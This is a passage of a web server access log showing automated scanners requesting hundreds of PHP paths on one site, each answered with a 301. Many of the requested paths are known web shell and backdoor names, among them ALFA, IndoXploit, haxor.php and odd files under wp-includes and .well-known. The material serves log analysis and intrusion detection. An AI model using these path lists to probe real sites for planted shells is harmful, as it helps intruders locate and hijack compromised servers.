13.74.150.99 - - [18/Apr/2025:22:00:20 -0400] "GET /wp-includes/Requests/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:21 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:25 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:34 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:40 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:44 -0400] "GET /.well-known/acme-challenge/worksec.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:50 -0400] "GET /welcome.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:53 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:56 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:58 -0400] "GET /.well-known/esjmskva.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:00 -0400] "GET /superadmin.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:04 -0400] "GET /aQzODIgoBr.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:07 -0400] "GET /.well-known/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:10 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:14 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:15 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:17 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:19 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:20 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:21 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:23 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:24 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:26 -0400] "GET /wp-includes/Requests/Exception/content.php.suspected HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:27 -0400] "GET /wp-includes/mtnidwgu.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:28 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:29 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:30 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:31 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:32 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:32 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:34 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:35 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:36 -0400] "GET /depotcv.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:37 -0400] "GET /login/files.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:38 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:40 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:41 -0400] "GET /wp-login.php?action=register/aaa.php/getid3-core.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:42 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:43 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:44 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:44 -0400] "GET /headerg.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:45 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:45 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:46 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:47 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:48 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:48 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:49 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:50 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:51 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:52 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:53 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:53 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:54 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:55 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:57 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:57 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:58 -0400] "GET /wp-admin/images/wp-load.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:59 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:01:59 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:00 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:01 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:02 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:02 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:03 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:04 -0400] "GET /services.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:04 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:05 -0400] "GET /wp-content/plugins/idjnpjx/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:06 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:07 -0400] "GET /.well-known/cihjbmjk.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:08 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:09 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:10 -0400] "GET /disagraeed.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:11 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:13 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:14 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:16 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:17 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:18 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:20 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:23 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:25 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:26 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:27 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:28 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:29 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:30 -0400] "GET /wp-includes/dkmjxfdu.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:31 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:32 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:36 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:37 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:38 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:40 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:43 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:44 -0400] "GET /wp-content/themes/pridmag/custom-plugin.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:45 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:46 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:02:47 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 159.89.89.224 - - [18/Apr/2025:22:38:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 159.89.89.224 - - [18/Apr/2025:22:38:47 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 185.179.24.14 - - [18/Apr/2025:23:09:10 -0400] "GET / HTTP/1.1" 301 795 "https://www.google.es" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36 Edg/115.0.1901.203" 52.230.121.51 - - [18/Apr/2025:23:16:20 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:21 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:22 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:23 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:23 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:24 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:24 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:25 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:25 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:26 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:26 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:27 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:27 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:28 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:28 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:29 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:30 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:30 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:30 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:31 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:32 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:32 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:33 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:33 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:34 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:35 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:35 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:36 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:37 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:37 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:38 -0400] "GET /wp-includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:38 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:39 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:39 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:40 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:41 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:42 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:43 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:43 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:44 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:45 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:45 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:46 -0400] "GET /wp-content/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:46 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:47 -0400] "GET /cgi-bin/404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:48 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:48 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:49 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:49 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:50 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:50 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:51 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:51 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:52 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:53 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:54 -0400] "GET /.well-known/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:54 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:55 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:56 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:56 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:57 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:57 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:58 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:58 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:16:59 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:00 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:00 -0400] "GET /wp-includes/system_log.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:01 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:01 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:02 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:03 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:03 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:04 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:05 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:06 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:06 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:07 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:07 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:08 -0400] "GET /wp-admin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:09 -0400] "GET /wp-content/themes/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:09 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:10 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:10 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:11 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:11 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:12 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:13 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:13 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:13 -0400] "GET /wp-content/upgrade/function.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:14 -0400] "GET /wp-admin/user/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:15 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:16 -0400] "GET /wp-admin/css/license.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:16 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:17 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:17 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:18 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:18 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:19 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:20 -0400] "GET /.well-known/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:20 -0400] "GET /wp-content/plugins/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:20 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:21 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:22 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:22 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:23 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:23 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:24 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:25 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:25 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:26 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:27 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:27 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:28 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:29 -0400] "GET /wp-admin/license.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:29 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:30 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:30 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:31 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:31 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:32 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:32 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:32 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:33 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:33 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:34 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:34 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:35 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:35 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:36 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 